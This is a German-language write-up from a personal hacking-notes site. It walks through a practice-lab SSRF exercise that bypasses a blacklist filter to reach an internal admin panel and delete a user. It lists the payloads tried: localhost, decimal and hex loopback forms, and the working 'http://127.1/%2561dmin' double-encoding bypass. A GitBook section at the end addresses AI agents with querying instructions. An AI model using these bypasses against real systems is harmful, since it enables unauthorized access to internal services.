> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-with-blacklist-based-filter.md).

# SSRF mit blacklistbasierter Filterung

### SSRF mit inputfilterbasierter Blacklist

Das Labor bietet eine Funktion zur Bestandsprüfung, die das Wiederherstellen von Daten aus einem internen System ermöglicht. / Das Ziel ist, auf die Administrationsoberfläche auf zuzugreifen `HTTP://localhost/admin` und den Benutzer zu löschen **carlos**. / Zwei schwache Verteidigungsmechanismen auf Blacklist-Basis müssen umgangen werden.

#### Analyse und Umgehung

Beim Ersetzen des `stockApi` Parameters, um direkt auf den lokalen Admin zu verweisen, wird die Anfrage abgelehnt:

```
stockApi=https://localhost/admin
```

<figure><img src="/files/89ea011bd4edec7e22e7e1392b0a8b0a664ef7bf" alt=""><figcaption></figcaption></figure>

Um die Blacklist auf `localhost`zu umgehen, werden mehrere Varianten interner Adressen getestet:

* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`

Auch diese Versuche scheitern.

Dann versuchen wir **hexadezimale** oder **dezimale** Darstellungen der Adresse:

* `https://0x7F.0x0.0x1`
* `https://2130706433`

Die Erkennung blockiert immer den `/admin` Pfad, was darauf hindeutet, dass die Verteidigung vor allem auf diesen spezifischen String abzielt.

<figure><img src="/files/663e87536b3d2163b6ef086f53a4d0b90b21cfca" alt=""><figcaption></figcaption></figure>

```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-with-blacklist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
